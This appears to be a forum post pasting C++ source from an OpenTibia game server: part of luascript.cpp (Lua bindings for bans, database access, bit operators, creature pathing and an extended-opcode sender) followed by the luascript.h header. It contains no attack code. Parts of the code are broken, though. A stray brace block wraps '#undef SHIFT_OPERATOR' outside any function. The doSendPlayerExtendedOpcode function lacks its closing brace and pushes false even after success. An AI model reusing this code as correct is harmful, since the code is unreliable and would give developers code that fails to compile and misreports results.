        lua_pushnumber(L, IOBan::getInstance()->getStatementsCount((uint32_t)popNumber(L), channelId));
    else
        lua_pushnumber(L, IOBan::getInstance()->getStatementsCount(popString(L), channelId));

    return 1;
}

int32_t LuaScriptInterface::luaGetBanData(lua_State* L)
{
    //getBanData(value[, type[, param]])
    Ban tmp;
    uint32_t params = lua_gettop(L);
    if(params > 2)
        tmp.param = popNumber(L);

    if(params > 1)
        tmp.type = (Ban_t)popNumber(L);

    tmp.value = popNumber(L);
    if(!IOBan::getInstance()->getData(tmp))
    {
        lua_pushboolean(L, false);
        return 1;
    }

    lua_newtable(L);
    setField(L, "id", tmp.id);
    setField(L, "type", tmp.type);
    setField(L, "value", tmp.value);
    setField(L, "param", tmp.param);
    setField(L, "added", tmp.added);
    setField(L, "expires", tmp.expires);
    setField(L, "adminId", tmp.adminId);
    setField(L, "reason", tmp.reason);
    setField(L, "action", tmp.action);
    setField(L, "comment", tmp.comment);
    setField(L, "statement", tmp.statement);
    return 1;
}

int32_t LuaScriptInterface::luaGetBanReason(lua_State* L)
{
    //getBanReason(id)
    lua_pushstring(L, getReason((ViolationAction_t)popNumber(L)).c_str());
    return 1;
}

int32_t LuaScriptInterface::luaGetBanAction(lua_State* L)
{
    //getBanAction(id[, ipBanishment])
    bool ipBanishment = false;
    if(lua_gettop(L) > 1)
        ipBanishment = popNumber(L);

    lua_pushstring(L, getAction((ViolationAction_t)popNumber(L), ipBanishment).c_str());
    return 1;
}

int32_t LuaScriptInterface::luaGetBanList(lua_State* L)
{
    //getBanList(type[, value[, param]])
    int32_t param = 0, params = lua_gettop(L);
    if(params > 2)
        param = popNumber(L);

    uint32_t value = 0;
    if(params > 1)
        value = popNumber(L);

    BansVec bans = IOBan::getInstance()->getList((Ban_t)popNumber(L), value, param);
    BansVec::const_iterator it = bans.begin();

    lua_newtable(L);
    for(uint32_t i = 1; it != bans.end(); ++it, ++i)
    {
        createTable(L, i);
        setField(L, "id", it->id);
        setField(L, "type", it->type);
        setField(L, "value", it->value);
        setField(L, "param", it->param);
        setField(L, "added", it->added);
        setField(L, "expires", it->expires);
        setField(L, "adminId", it->adminId);
        setField(L, "reason", it->reason);
        setField(L, "action", it->action);
        setField(L, "comment", it->comment);
        setField(L, "statement", it->statement);
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetExperienceStage(lua_State* L)
{
    //getExperienceStage(level[, divider])
    double divider = 1.0f;
    if(lua_gettop(L) > 1)
        divider = popFloatNumber(L);

    lua_pushnumber(L, g_game.getExperienceStage(popNumber(L), divider));
    return 1;
}

int32_t LuaScriptInterface::luaGetDataDir(lua_State* L)
{
    //getDataDir()
    lua_pushstring(L, getFilePath(FILE_TYPE_OTHER, "").c_str());
    return 1;
}

int32_t LuaScriptInterface::luaGetLogsDir(lua_State* L)
{
    //getLogsDir()
    lua_pushstring(L, getFilePath(FILE_TYPE_LOG, "").c_str());
    return 1;
}

int32_t LuaScriptInterface::luaGetConfigFile(lua_State* L)
{
    //getConfigFile()
    lua_pushstring(L, g_config.getString(ConfigManager::CONFIG_FILE).c_str());
    return 1;
}

int32_t LuaScriptInterface::luaGetConfigValue(lua_State* L)
{
    //getConfigValue(key)
    g_config.getValue(popString(L), L);
    return 1;
}

int32_t LuaScriptInterface::luaGetModList(lua_State* L)
{
    //getModList()
    ModMap::iterator it = ScriptingManager::getInstance()->getFirstMod();
    lua_newtable(L);
    for(uint32_t i = 1; it != ScriptingManager::getInstance()->getLastMod(); ++it, ++i)
    {
        createTable(L, i);
        setField(L, "name", it->first);
        setField(L, "description", it->second.description);
        setField(L, "file", it->second.file);

        setField(L, "version", it->second.version);
        setField(L, "author", it->second.author);
        setField(L, "contact", it->second.contact);

        setFieldBool(L, "enabled", it->second.enabled);
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaL_loadmodlib(lua_State* L)
{
    //loadmodlib(lib)
    std::string name = asLowerCaseString(popString(L));
    for(LibMap::iterator it = ScriptingManager::getInstance()->getFirstLib();
        it != ScriptingManager::getInstance()->getLastLib(); ++it)
    {
        if(asLowerCaseString(it->first) != name)
            continue;

        luaL_loadstring(L, it->second.second.c_str());
        lua_pushvalue(L, -1);
        break;
    }

    return 1;
}

int32_t LuaScriptInterface::luaL_domodlib(lua_State* L)
{
    //domodlib(lib)
    std::string name = asLowerCaseString(popString(L));
    for(LibMap::iterator it = ScriptingManager::getInstance()->getFirstLib();
        it != ScriptingManager::getInstance()->getLastLib(); ++it)
    {
        if(asLowerCaseString(it->first) != name)
            continue;

        bool ret = luaL_dostring(L, it->second.second.c_str());
        if(ret)
            error(NULL, popString(L));

        lua_pushboolean(L, !ret);
        break;
    }

    return 1;
}

int32_t LuaScriptInterface::luaL_dodirectory(lua_State* L)
{
    std::string dir = popString(L);
    if(!getEnv()->getInterface()->loadDirectory(dir, NULL))
    {
        errorEx("Failed to load directory " + dir + ".");
        lua_pushboolean(L, false);
    }
    else
        lua_pushboolean(L, true);

    return 1;
}

#define EXPOSE_LOG(Name, Stream)\
    int32_t LuaScriptInterface::luaStd##Name(lua_State* L)\
    {\
        StringVec data;\
        for(int32_t i = 0, params = lua_gettop(L); i < params; ++i)\
            data.push_back(popString(L));\
\
        for(StringVec::reverse_iterator it = data.rbegin(); it != data.rend(); ++it)\
            Stream << (*it) << std::endl;\
\
        lua_pushnumber(L, data.size());\
        return 1;\
    }

EXPOSE_LOG(Cout, std::cout)
EXPOSE_LOG(Cerr, std::cerr)
EXPOSE_LOG(Clog, std::clog)

#undef EXPOSE_LOG

int32_t LuaScriptInterface::luaStdMD5(lua_State* L)
{
    //std.md5(string[, upperCase])
    bool upperCase = false;
    if(lua_gettop(L) > 1)
        upperCase = popNumber(L);

    lua_pushstring(L, transformToMD5(popString(L), upperCase).c_str());
    return 1;
}

int32_t LuaScriptInterface::luaStdSHA1(lua_State* L)
{
    //std.sha1(string[, upperCase])
    bool upperCase = false;
    if(lua_gettop(L) > 1)
        upperCase = popNumber(L);

    lua_pushstring(L, transformToSHA1(popString(L), upperCase).c_str());
    return 1;
}

int32_t LuaScriptInterface::luaDatabaseExecute(lua_State* L)
{
    //db.executeQuery(query)
    DBQuery query; //lock mutex
    lua_pushboolean(L, Database::getInstance()->executeQuery(popString(L)));
    return 1;
}

int32_t LuaScriptInterface::luaDatabaseStoreQuery(lua_State* L)
{
    //db.storeQuery(query)
    ScriptEnviroment* env = getEnv();

    DBQuery query; //lock mutex
    if(DBResult* res = Database::getInstance()->storeQuery(popString(L)))
        lua_pushnumber(L, env->addResult(res));
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDatabaseEscapeString(lua_State* L)
{
    //db.escapeString(str)
    DBQuery query; //lock mutex
    lua_pushstring(L, Database::getInstance()->escapeString(popString(L)).c_str());
    return 1;
}

int32_t LuaScriptInterface::luaDatabaseEscapeBlob(lua_State* L)
{
    //db.escapeBlob(s, length)
    uint32_t length = popNumber(L);
    DBQuery query; //lock mutex

    lua_pushstring(L, Database::getInstance()->escapeBlob(popString(L).c_str(), length).c_str());
    return 1;
}

int32_t LuaScriptInterface::luaDatabaseLastInsertId(lua_State* L)
{
    //db.lastInsertId()
    DBQuery query; //lock mutex
    lua_pushnumber(L, Database::getInstance()->getLastInsertId());
    return 1;
}

int32_t LuaScriptInterface::luaDatabaseStringComparison(lua_State* L)
{
    //db.stringComparison()
    lua_pushstring(L, Database::getInstance()->getStringComparison().c_str());
    return 1;
}

int32_t LuaScriptInterface::luaDatabaseUpdateLimiter(lua_State* L)
{
    //db.updateLimiter()
    lua_pushstring(L, Database::getInstance()->getUpdateLimiter().c_str());
    return 1;
}

#define CHECK_RESULT()\
    if(!res)\
    {\
        lua_pushboolean(L, false);\
        return 1;\
    }

int32_t LuaScriptInterface::luaResultGetDataInt(lua_State* L)
{
    //result.getDataInt(res, s)
    const std::string& s = popString(L);
    ScriptEnviroment* env = getEnv();

    DBResult* res = env->getResultByID(popNumber(L));
    CHECK_RESULT()

    lua_pushnumber(L, res->getDataInt(s));
    return 1;
}

int32_t LuaScriptInterface::luaResultGetDataLong(lua_State* L)
{
    //result.getDataLong(res, s)
    const std::string& s = popString(L);
    ScriptEnviroment* env = getEnv();

    DBResult* res = env->getResultByID(popNumber(L));
    CHECK_RESULT()

    lua_pushnumber(L, res->getDataLong(s));
    return 1;
}

int32_t LuaScriptInterface::luaResultGetDataString(lua_State* L)
{
    //result.getDataString(res, s)
    const std::string& s = popString(L);
    ScriptEnviroment* env = getEnv();

    DBResult* res = env->getResultByID(popNumber(L));
    CHECK_RESULT()

    lua_pushstring(L, res->getDataString(s).c_str());
    return 1;
}

int32_t LuaScriptInterface::luaResultGetDataStream(lua_State* L)
{
    //result.getDataStream(res, s)
    const std::string s = popString(L);
    ScriptEnviroment* env = getEnv();

    DBResult* res = env->getResultByID(popNumber(L));
    CHECK_RESULT()

    uint64_t length = 0;
    lua_pushstring(L, res->getDataStream(s, length));

    lua_pushnumber(L, length);
    return 1;
}

int32_t LuaScriptInterface::luaResultNext(lua_State* L)
{
    //result.next(res)
    ScriptEnviroment* env = getEnv();

    DBResult* res = env->getResultByID(popNumber(L));
    CHECK_RESULT()

    lua_pushboolean(L, res->next());
    return 1;
}

int32_t LuaScriptInterface::luaResultFree(lua_State* L)
{
    //result.free(res)
    uint32_t rid = popNumber(L);
    ScriptEnviroment* env = getEnv();

    DBResult* res = env->getResultByID(rid);
    CHECK_RESULT()

    lua_pushboolean(L, env->removeResult(rid));
    return 1;
}

#undef CHECK_RESULT

int32_t LuaScriptInterface::luaBitNot(lua_State* L)
{
    int32_t number = (int32_t)popNumber(L);
    lua_pushnumber(L, ~number);
    return 1;
}

int32_t LuaScriptInterface::luaBitUNot(lua_State* L)
{
    uint32_t number = (uint32_t)popNumber(L);
    lua_pushnumber(L, ~number);
    return 1;
}

int32_t LuaScriptInterface::luamoveCreatureTo(lua_State* L)
{
        //moveCreatureTo(cid,pos[,mindist[,maxdist]])
    ScriptEnviroment* env = getEnv();
    uint32_t mindist = 1, maxdist = 1;
    if(lua_gettop(L) > 3)
        maxdist = popNumber(L);
    if(lua_gettop(L) > 2)
        mindist = popNumber(L);
        
    PositionEx pos;
    popPosition(L, pos);
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        std::list<Direction> listDir;
        if(!g_game.getPathToEx(creature, pos, listDir, 1, maxdist, true, true))
        {
         lua_pushboolean(L, false);                        
         return 1;
         }       

         creature->startAutoWalk(listDir);
         lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}


#define MULTI_OPERATOR(type, name, op)\
    int32_t LuaScriptInterface::luaBit##name(lua_State* L)\
    {\
        int32_t params = lua_gettop(L);\
        type value = (type)popNumber(L);\
        for(int32_t i = 2; i <= params; ++i)\
            value op popNumber(L);\
\
        lua_pushnumber(L, value);\
        return 1;\
    }

MULTI_OPERATOR(int32_t, And, &=)
MULTI_OPERATOR(int32_t, Or, |=)
MULTI_OPERATOR(int32_t, Xor, ^=)
MULTI_OPERATOR(uint32_t, UAnd, &=)
MULTI_OPERATOR(uint32_t, UOr, |=)
MULTI_OPERATOR(uint32_t, UXor, ^=)

#undef MULTI_OPERATOR

#define SHIFT_OPERATOR(type, name, op)\
    int32_t LuaScriptInterface::luaBit##name(lua_State* L)\
    {\
        type v2 = (type)popNumber(L), v1 = (type)popNumber(L);\
        lua_pushnumber(L, (v1 op v2));\
        return 1;\
    }

SHIFT_OPERATOR(int32_t, LeftShift, <<)
SHIFT_OPERATOR(int32_t, RightShift, >>)
SHIFT_OPERATOR(uint32_t, ULeftShift, <<)
SHIFT_OPERATOR(uint32_t, URightShift, >>)
{

#undef SHIFT_OPERATOR
}
int32_t LuaScriptInterface::luaDoSendPlayerExtendedOpcode(lua_State* L)
{
//doSendPlayerExtendedOpcode(cid, opcode, buffer)
std::string buffer = popString(L);
int opcode = popNumber(L);

ScriptEnviroment* env = getEnv();
if(Player* player = env->getPlayerByUID(popNumber(L))) {
player->sendExtendedOpcode(opcode, buffer);
lua_pushboolean(L, true);
}
lua_pushboolean(L, false);
return 1;


 

luascript.h

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////

#ifndef __LUASCRIPT__
#define __LUASCRIPT__
#include "otsystem.h"

extern "C"
{
    #include "lua.h"
    #include "lualib.h"
    #include "lauxlib.h"
}

#include "database.h"
#include "position.h"

enum LuaVariantType_t
{
    VARIANT_NONE = 0,
    VARIANT_NUMBER,
    VARIANT_POSITION,
    VARIANT_TARGETPOSITION,
    VARIANT_STRING
};

struct LuaVariant
{
    LuaVariant()
    {
        type = VARIANT_NONE;
        text = "";
        pos = PositionEx();
        number = 0;
    }

    LuaVariantType_t type;
    std::string text;
    PositionEx pos;
    uint32_t number;
};

class Game;
class Thing;
class LuaScriptInterface;

class Creature;
class Player;
class Npc;

class Item;
class Container;

class Combat;
class CombatArea;
class Condition;

struct Outfit_t;
class ScriptEnviroment
{
    public:
        ScriptEnviroment();
        virtual ~ScriptEnviroment();

        static bool saveGameState();
        static bool loadGameState();

        bool getStorage(const uint32_t key, std::string& value) const;
        void setStorage(const uint32_t key, const std::string& value) {m_storageMap[key] = value;}
        void eraseStorage(const uint32_t key) {m_storageMap.erase(key);}

        int32_t getScriptId() {return m_scriptId;}
        void setScriptId(int32_t scriptId, LuaScriptInterface* interface)
            {m_scriptId = scriptId; m_interface = interface;}

        int32_t getCallbackId() {return m_callbackId;}
        bool setCallbackId(int32_t callbackId, LuaScriptInterface* interface);

        std::string getEventDesc() {return m_eventdesc;}
        void setEventDesc(const std::string& desc) {m_eventdesc = desc;}

        Position getRealPos() {return m_realPos;}
        void setRealPos(const Position& realPos) {m_realPos = realPos;}

        Npc* getNpc() const {return m_curNpc;}
        void setNpc(Npc* npc) {m_curNpc = npc;}

        static uint32_t addCombatArea(CombatArea* area);
        static CombatArea* getCombatArea(uint32_t areaId);

        static uint32_t addCombatObject(Combat* combat);
        static Combat* getCombatObject(uint32_t combatId);

        static uint32_t addConditionObject(Condition* condition);
        static Condition* getConditionObject(uint32_t conditionId);

        Thing* getThingByUID(uint32_t uid);
        Item* getItemByUID(uint32_t uid);
        Container* getContainerByUID(uint32_t uid);
        Creature* getCreatureByUID(uint32_t uid);
        Player* getPlayerByUID(uint32_t uid);

        uint32_t addThing(Thing* thing);
        void insertThing(uint32_t uid, Thing* thing);
        void removeThing(uint32_t uid);

        static void addTempItem(ScriptEnviroment* env, Item* item);
        static void removeTempItem(ScriptEnviroment* env, Item* item);
        static void removeTempItem(Item* item);

        DBResult* getResultByID(uint32_t id);
        uint32_t addResult(DBResult* res);
        bool removeResult(uint32_t id);

        static void addUniqueThing(Thing* thing);
        static void removeUniqueThing(Thing* thing);

        static uint32_t getLastConditionId() {return m_lastConditionId;}
        static uint32_t getLastCombatId() {return m_lastCombatId;}
        static uint32_t getLastAreaId() {return m_lastAreaId;}

        void setTimerEvent() {m_timerEvent = true;}
        void resetTimerEvent() {m_timerEvent = false;}

        LuaScriptInterface* getInterface() {return m_interface;}
        void getInfo(int32_t& scriptId, std::string& desc, LuaScriptInterface*& interface, int32_t& callbackId, bool& timerEvent);
        void reset();
        void resetCallback() {m_callbackId = 0;}

        void streamVariant(std::stringstream& stream, const std::string& local, const LuaVariant& var);
        void streamThing(std::stringstream& stream, const std::string& local, Thing* thing, uint32_t id = 0);
        void streamPosition(std::stringstream& stream, const std::string& local, const PositionEx& position)
            {streamPosition(stream, local, position, position.stackpos);}
        void streamPosition(std::stringstream& stream, const std::string& local, const Position& position, uint32_t stackpos);
        void streamOutfit(std::stringstream& stream, const std::string& local, const Outfit_t& outfit);

    private:
        typedef std::map<uint64_t, Thing*> ThingMap;
        typedef std::vector<const LuaVariant*> VariantVector;
        typedef std::map<uint32_t, std::string> StorageMap;
        typedef std::map<uint32_t, CombatArea*> AreaMap;
        typedef std::map<uint32_t, Combat*> CombatMap;
        typedef std::map<uint32_t, Condition*> ConditionMap;
        typedef std::list<Item*> ItemList;
        typedef std::map<ScriptEnviroment*, ItemList> TempItemListMap;
        typedef std::map<uint32_t, DBResult*> DBResultMap;

        LuaScriptInterface* m_interface;
        int32_t m_scriptId, m_callbackId;
        std::string m_eventdesc;
        bool m_timerEvent;

        ThingMap m_localMap;
        DBResultMap m_tempResults;

        static TempItemListMap m_tempItems;
        static StorageMap m_storageMap;
        static ThingMap m_globalMap;

        static uint32_t m_lastAreaId;
        static AreaMap m_areaMap;

        static uint32_t m_lastCombatId;
        static CombatMap m_combatMap;

        static uint32_t m_lastConditionId;
        static ConditionMap m_conditionMap;

        int32_t m_lastUID;
        bool m_loaded;
        Position m_realPos;
        Npc* m_curNpc;
};

enum ErrorCode_t
{
    LUA_ERROR_PLAYER_NOT_FOUND,
    LUA_ERROR_MONSTER_NOT_FOUND,
    LUA_ERROR_NPC_NOT_FOUND,
    LUA_ERROR_CREATURE_NOT_FOUND,
    LUA_ERROR_ITEM_NOT_FOUND,
    LUA_ERROR_THING_NOT_FOUND,
    LUA_ERROR_TILE_NOT_FOUND,
    LUA_ERROR_HOUSE_NOT_FOUND,
    LUA_ERROR_COMBAT_NOT_FOUND,
    LUA_ERROR_CONDITION_NOT_FOUND,
    LUA_ERROR_AREA_NOT_FOUND,
    LUA_ERROR_CONTAINER_NOT_FOUND,
    LUA_ERROR_VARIANT_NOT_FOUND,
    LUA_ERROR_VARIANT_UNKNOWN,
    LUA_ERROR_SPELL_NOT_FOUND
};

#define errorEx(a) error(__FUNCTION__, a)

class LuaScriptInterface
{
    public:
        LuaScriptInterface(std::string interfaceName);
        virtual ~LuaScriptInterface();

        virtual bool initState();
        bool reInitState();

        static bool reserveEnv()
        {
            ++m_scriptEnvIndex;
            if(m_scriptEnvIndex > 20)
            {
                --m_scriptEnvIndex;
                return false;
            }

            return true;
        }
        static void releaseEnv()
        {
            if(m_scriptEnvIndex >= 0)
            {
                m_scriptEnv[m_scriptEnvIndex].reset();
                --m_scriptEnvIndex;
            }
        }

        bool loadBuffer(const std::string& text, Npc* npc = NULL);
        bool loadFile(const std::string& file, Npc* npc = NULL);
        bool loadDirectory(const std::string& dir, Npc* npc = NULL);

        std::string getName() {return m_interfaceName;}
        std::string getScript(int32_t scriptId);
        std::string getLastError() const {return m_lastError;}

        int32_t getEvent(const std::string& eventName);
        lua_State* getState() {return m_luaState;}
        static ScriptEnviroment* getEnv()
        {
            assert(m_scriptEnvIndex >= 0 && m_scriptEnvIndex < 21);
            return &m_scriptEnv[m_scriptEnvIndex];
        }

        bool pushFunction(int32_t functionId);
        bool callFunction(uint32_t params);
        static int32_t handleFunction(lua_State* L);

        void dumpStack(lua_State* L = NULL);

        //push/pop common structures
        static void pushThing(lua_State* L, Thing* thing, uint32_t id = 0);
        static void pushVariant(lua_State* L, const LuaVariant& var);
        static void pushPosition(lua_State* L, const PositionEx& position) {pushPosition(L, position, position.stackpos);}
        static void pushPosition(lua_State* L, const Position& position, uint32_t stackpos);
        static void pushOutfit(lua_State* L, const Outfit_t& outfit);
        static void pushCallback(lua_State* L, int32_t callback);

        static LuaVariant popVariant(lua_State* L);
        static void popPosition(lua_State* L, PositionEx& position);
        static void popPosition(lua_State* L, Position& position, uint32_t& stackpos);
        static bool popBoolean(lua_State* L);
        static int64_t popNumber(lua_State* L);
        static double popFloatNumber(lua_State* L);
        static std::string popString(lua_State* L);
        static int32_t popCallback(lua_State* L);
        static Outfit_t popOutfit(lua_State* L);

        static int64_t getField(lua_State* L, const char* key);
        static uint64_t getFieldUnsigned(lua_State* L, const char* key);
        static std::string getFieldString(lua_State* L, const char* key);
        static bool getFieldBool(lua_State* L, const char* key);

        static void setField(lua_State* L, const char* index, int32_t val);
        static void setField(lua_State* L, const char* index, const std::string& val);
        static void setFieldBool(lua_State* L, const char* index, bool val);
        static void setFieldFloat(lua_State* L, const char* index, double val);

        static void createTable(lua_State* L, const char* index);
        static void createTable(lua_State* L, const char* index, int32_t narr, int32_t nrec);
        static void createTable(lua_State* L, int32_t index);
        static void createTable(lua_State* L, int32_t index, int32_t narr, int32_t nrec);
        static void pushTable(lua_State* L);

        static std::string getGlobalString(lua_State* L, const std::string& _identifier, const std::string& _default = "");
        static bool getGlobalBool(lua_State* L, const std::string& _identifier, bool _default = false);
        static int32_t getGlobalNumber(lua_State* L, const std::string& _identifier, const int32_t _default = 0);
        static double getGlobalDouble(lua_State* L, const std::string& _identifier, const double _default = 0);

        static void getValue(const std::string& key, lua_State* L, lua_State* _L);
        static void moveValue(lua_State* from, lua_State* to);

        static void error(const char* function, const std::string& desc);

    protected:
        virtual bool closeState();

        static std::string getError(ErrorCode_t code);
        static bool getArea(lua_State* L, std::list<uint32_t>& list, uint32_t& rows);

        virtual void registerFunctions();
    

        //lua functions

        static int32_t luaDoRemoveItem(lua_State* L);
        static int32_t luaDoCreatureSetNick(lua_State* L);
        static int32_t luaDoFeedPlayer(lua_State* L);
        static int32_t luaDoPlayerSendCancel(lua_State* L);
        static int32_t luaDoSendDefaultCancel(lua_State* L);
        static int32_t luaGetSearchString(lua_State* L);
        static int32_t luaGetClosestFreeTile(lua_State* L);
        static int32_t luaDoTeleportThing(lua_State* L);
        static int32_t luaDoTransformItem(lua_State* L);
        static int32_t luaDoSendMagicEffect(lua_State* L);
        static int32_t luaDoSendAnimatedText(lua_State* L);
        static int32_t luaDoSendDistanceShoot(lua_State* L);
        static int32_t luaDoShowTextWindow(lua_State* L);
        static int32_t luaDoShowTextDialog(lua_State* L);
        static int32_t luaDoDecayItem(lua_State* L);
        static int32_t luaDoCreateItem(lua_State* L);
        static int32_t luaDoCreateItemEx(lua_State* L);
        static int32_t luaDoCreateTeleport(lua_State* L);
        static int32_t luaDoCreateMonster(lua_State* L);
        static int32_t luaDoCreateNpc(lua_State* L);
        static int32_t luaDoSummonMonster(lua_State* L);
        static int32_t luaDoConvinceCreature(lua_State* L);
        static int32_t luaGetMonsterTargetList(lua_State* L);
        static int32_t luaGetMonsterFriendList(lua_State* L);
        static int32_t luaDoMonsterSetTarget(lua_State* L);
        static int32_t luaDoMonsterChangeTarget(lua_State* L);
        static int32_t luaDoAddCondition(lua_State* L);
        static int32_t luaDoRemoveCondition(lua_State* L);
        static int32_t luaDoRemoveConditions(lua_State* L);
        static int32_t luaDoRemoveCreature(lua_State* L);
        static int32_t luaDoMoveCreature(lua_State* L);
        static int32_t luaDoCreatureSay(lua_State* L);
        static int32_t luaDoPlayerAddSkillTry(lua_State* L);
        static int32_t luaDoCreatureAddHealth(lua_State* L);
        static int32_t luaDoCreatureAddMana(lua_State* L);
        static int32_t luaSetCreatureMaxHealth(lua_State* L);
        static int32_t luaSetCreatureMaxMana(lua_State* L);
        static int32_t luaDoPlayerSetMaxCapacity(lua_State* L);
        static int32_t luaDoPlayerAddSpentMana(lua_State* L);
        static int32_t luaDoPlayerAddItem(lua_State* L);
        static int32_t luaDoPlayerAddItemEx(lua_State* L);
        static int32_t luaDoTileAddItemEx(lua_State* L);
        static int32_t luaDoAddContainerItemEx(lua_State* L);
        static int32_t luaDoRelocate(lua_State* L);
        static int32_t luaDoCleanTile(lua_State* L);
        static int32_t luaDoPlayerSendTextMessage(lua_State* L);
        static int32_t luaDoPlayerSendChannelMessage(lua_State* L);
        static int32_t luaDoPlayerSendToChannel(lua_State* L);
        static int32_t luaDoPlayerAddMoney(lua_State* L);
        static int32_t luaDoPlayerRemoveMoney(lua_State* L);
        static int32_t luaDoPlayerTransferMoneyTo(lua_State* L);
        static int32_t luaDoPlayerSetPzLocked(lua_State* L);
        static int32_t luaDoPlayerSetTown(lua_State* L);
        static int32_t luaDoPlayerSetVocation(lua_State* L);
        static int32_t luaDoPlayerRemoveItem(lua_State* L);
        static int32_t luaDoPlayerAddSoul(lua_State* L);
        static int32_t luaDoPlayerAddStamina(lua_State* L);
        static int32_t luaDoPlayerSetStamina(lua_State* L);
        static int32_t luaDoPlayerAddExperience(lua_State* L);
        static int32_t luaDoPlayerSetGuildId(lua_State* L);
        static int32_t luaDoPlayerSetGuildLevel(lua_State* L);
        static int32_t luaDoPlayerSetGuildNick(lua_State* L);
        static int32_t luaDoPlayerSetSex(lua_State* L);
        static int32_t luaDoPlayerSetIdleTime(lua_State* L);
        static int32_t luaGetPlayerIdleTime(lua_State* L);
        static int32_t luaDoSetCreatureLight(lua_State* L);
        static int32_t luaDoCreatureSetLookDir(lua_State* L);
        static int32_t luaGetCreatureHideHealth(lua_State* L);
        static int32_t luaDoCreatureSetHideHealth(lua_State* L);
        static int32_t luaGetCreatureSpeakType(lua_State* L);
        static int32_t luaDoCreatureSetSpeakType(lua_State* L);
        static int32_t luaGetCreatureSkullType(lua_State* L);
        static int32_t luaDoCreatureSetSkullType(lua_State* L);
        static int32_t luaGetPlayerSkullEnd(lua_State* L);
        static int32_t luaDoPlayerSetSkullEnd(lua_State* L);
        static int32_t luaDoPlayerSwitchSaving(lua_State* L);
        static int32_t luaDoPlayerSave(lua_State* L);
        static int32_t luaDoPlayerSendOutfitWindow(lua_State* L);
        static int32_t luaDoCreatureExecuteTalkAction(lua_State* L);
        static int32_t luaGetCreatureByName(lua_State* L);
        static int32_t luaGetPlayerByGUID(lua_State* L);
        static int32_t luamoveCreatureTo(lua_State* L);
        static int32_t luaGetPlayerByNameWildcard(lua_State* L);
        static int32_t luaGetPlayerGUIDByName(lua_State* L);
        static int32_t luaGetPlayerNameByGUID(lua_State* L);
        static int32_t luaGetPlayersByAccountId(lua_State* L);
        static int32_t luaGetAccountIdByName(lua_State* L);
        static int32_t luaGetAccountByName(lua_State* L);
        static int32_t luaGetAccountIdByAccount(lua_State* L);
        static int32_t luaGetAccountByAccountId(lua_State* L);
        static int32_t luaGetIpByName(lua_State* L);
        static int32_t luaGetPlayersByIp(lua_State* L);
        static int32_t luaIsIpBanished(lua_State* L);
        static int32_t luaIsPlayerBanished(lua_State* L);
        static int32_t luaIsAccountBanished(lua_State* L);
        static int32_t luaDoAddIpBanishment(lua_State* L);
        static int32_t luaDoAddPlayerBanishment(lua_State* L);
        static int32_t luaDoAddAccountBanishment(lua_State* L);
        static int32_t luaDoAddNotation(lua_State* L);
        static int32_t luaDoAddStatement(lua_State* L);
        static int32_t luaDoRemoveIpBanishment(lua_State* L);
        static int32_t luaDoRemovePlayerBanishment(lua_State* L);
        static int32_t luaDoRemoveAccountBanishment(lua_State* L);
        static int32_t luaDoRemoveNotations(lua_State* L);
        static int32_t luaDoRemoveStatements(lua_State* L);
        static int32_t luaGetNotationsCount(lua_State* L);
        static int32_t luaGetStatementsCount(lua_State* L);
        static int32_t luaGetBanData(lua_State* L);
        static int32_t luaGetBanReason(lua_State* L);
        static int32_t luaGetBanAction(lua_State* L);
        static int32_t luaGetBanList(lua_State* L);
        static int32_t luaGetPlayerRates(lua_State* L);
        static int32_t luaDoPlayerSetRate(lua_State* L);
        static int32_t luaDoCreatureSetDropLoot(lua_State* L);
        static int32_t luaGetPlayerLossPercent(lua_State* L);
        static int32_t luaDoPlayerSetLossPercent(lua_State* L);
        static int32_t luaDoPlayerSetLossSkill(lua_State* L);
        static int32_t luaGetPlayerLossSkill(lua_State* L);
        static int32_t luaGetThing(lua_State* L);
        static int32_t luaGetThingPosition(lua_State* L);
        static int32_t luaDoItemRaidUnref(lua_State* L);
        static int32_t luaHasItemProperty(lua_State* L);
        static int32_t luaGetThingFromPos(lua_State* L);
        static int32_t luaGetTileItemById(lua_State* L);
        static int32_t luaGetTileItemByType(lua_State* L);
        static int32_t luaGetTileThingByPos(lua_State* L);
        static int32_t luaGetTopCreature(lua_State* L);
        static int32_t luaGetTileInfo(lua_State* L);
        static int32_t luaDoTileQueryAdd(lua_State* L);
        static int32_t luaGetHouseInfo(lua_State* L);
        static int32_t luaGetHouseAccessList(lua_State* L);
        static int32_t luaGetHouseByPlayerGUID(lua_State* L);
        static int32_t luaGetHouseFromPos(lua_State* L);
        static int32_t luaSetHouseOwner(lua_State* L);
        static int32_t luaSetHouseAccessList(lua_State* L);
        static int32_t luaDoPlayerSetNameDescription(lua_State* L);
        static int32_t luaGetPlayerNameDescription(lua_State* L);
        static int32_t luaDoPlayerSetSpecialDescription(lua_State* L);
        static int32_t luaGetPlayerSpecialDescription(lua_State* L);
        static int32_t luaGetPlayerFood(lua_State* L);
        static int32_t luaGetPlayerAccess(lua_State* L);
        static int32_t luaGetPlayerGhostAccess(lua_State* L);
        static int32_t luaGetPlayerLevel(lua_State* L);
        static int32_t luaGetPlayerExperience(lua_State* L);
        static int32_t luaGetPlayerMagLevel(lua_State* L);
        static int32_t luaGetPlayerSpentMana(lua_State* L);
        static int32_t luaGetCreatureMana(lua_State* L);
        static int32_t luaGetCreatureMaxMana(lua_State* L);
        static int32_t luaGetCreatureHealth(lua_State* L);
        static int32_t luaOpenChannelDialog(lua_State* L);
        static int32_t luaGetCreatureMaxHealth(lua_State* L);
        static int32_t luaGetCreatureSpeed(lua_State* L);
        static int32_t luaGetCreatureBaseSpeed(lua_State* L);
        static int32_t luaGetCreatureTarget(lua_State* L);
        static int32_t luaGetCreatureLookDirection(lua_State* L);
